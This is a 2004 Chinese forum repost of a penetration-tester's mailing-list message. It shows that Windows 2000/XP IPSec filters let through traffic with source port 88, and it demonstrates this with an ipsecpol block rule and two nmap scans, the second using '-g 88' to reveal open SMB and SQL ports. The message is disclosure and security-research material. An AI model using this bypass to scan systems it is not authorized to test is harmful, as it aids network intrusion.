[转载]绕过Win2k/XP IPSec过滤机制
发信人: Sinbad <[email]anonymous@anonymous.com[/email]>标 题: 绕过Win2k/XP IPSec过滤机制
发信站: 辛巴达 (Fri May 21 16:01:23 2004)
简单的说就是：Win2k/XP的IPSec过滤规则对源端口是88的TCP/UDP数据包是不起作用的，都
被允许通过。
by JJ Gray [[email]jj@irmplc.com[/email]] 发送到 [email]pen-test@securityfocus.com[/email]
Hi folks,
As a result of a recent engagement looking at Windows host hardening, I came
across this little trick and thought it might be useful at some point. The Micr
osoft IPSEC filters used by Windows 2000 & XP can be bypassed by choosing a sour
ce port of 88 (Kerberos).
First off, Microsoft themselves state that IPSEC filters are not designed as a f
ull featured host based firewall [1] and it is already known that certain types
of traffic are exempt from IPSEC filters [2] and they can be summarised as:
* Broadcast
* Multicast
* RSVP
* IKE
* Kerberos
In a Microsoft support note [2] there is the line:
"The Kerberos exemption is basically this: If a packet is TCP or UDP and has a s
ource or destination port = 88, permit."
The test host here has a "block all" rule created using:
ipsecpol.exe -x -w REG -p "The Black Knight" -r "NoneShallPass" -n BLOCK -f
0=*::*
Normal Nmap scan:
# nmap -sS -v -v -P0 --initial_rtt_timeout 10 --max_rtt_timeout 20 172.25.0.14
Starting nmap 3.50 ( [url]http://www.insecure.org/nmap/[/url] ) at 2004-05-19 18:14 BST Hos
t 172.25.0.14 appears to be up ... good. Initiating SYN Stealth Scan against 172
.25.0.14 at 18:14 The SYN Stealth Scan took 7 seconds to scan 1659 ports. Intere
sting ports on 172.25.0.14: (The 1658 ports scanned but not shown below are in s
tate: filtered)
PORT STATE SERVICE
88/tcp closed kerberos-sec
Nmap run completed -- 1 IP address (1 host up) scanned in 7.017 seconds
Port 88 closed is the hint, Nmap again using this source port:
# nmap -sS -v -v -P0 -g 88 --initial_rtt_timeout 10 --max_rtt_timeout 20 172.25.
0.14
Starting nmap 3.50 ( [url]http://www.insecure.org/nmap/[/url] ) at 2004-05-19 18:14 BST Hos
t 172.25.0.14 appears to be up ... good. Initiating SYN Stealth Scan against 172
.25.0.14 at 18:14 Adding open port 445/tcp Adding open port 135/tcp Adding open
port 139/tcp Adding open port 1433/tcp Adding open port 1027/tcp Adding open por
t 1025/tcp The SYN Stealth Scan took 0 seconds to scan 1659 ports. Interesting p
orts on 172.25.0.14: (The 1653 ports scanned but not shown below are in state: c
losed)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1027/tcp open IIS
1433/tcp open ms-sql-s
Nmap run completed -- 1 IP address (1 host up) scanned in 0.367 seconds
As can be seen, the IPSEC filters are bypassed. Although not designed as a
host based firewall, IPSEC filters are being used as such, particularly to block
popular attacked ports such as NETBIOS, CIFS and SQL, perhaps as [temporary] wo
rm mitigation.
In Windows 2003 all of these default exemptions have been removed with the excep
tion of IKE [1] and I believe that this may be incorporated into earlier Windows
versions at some point.
Cheers,
JJ
[1] [url]http://support.microsoft.com/default.aspx?scid=kb;EN-US;810207[/url]
[2] [url]http://support.microsoft.com/default.aspx?scid=kb;EN-US;253169[/url]
页:
[1]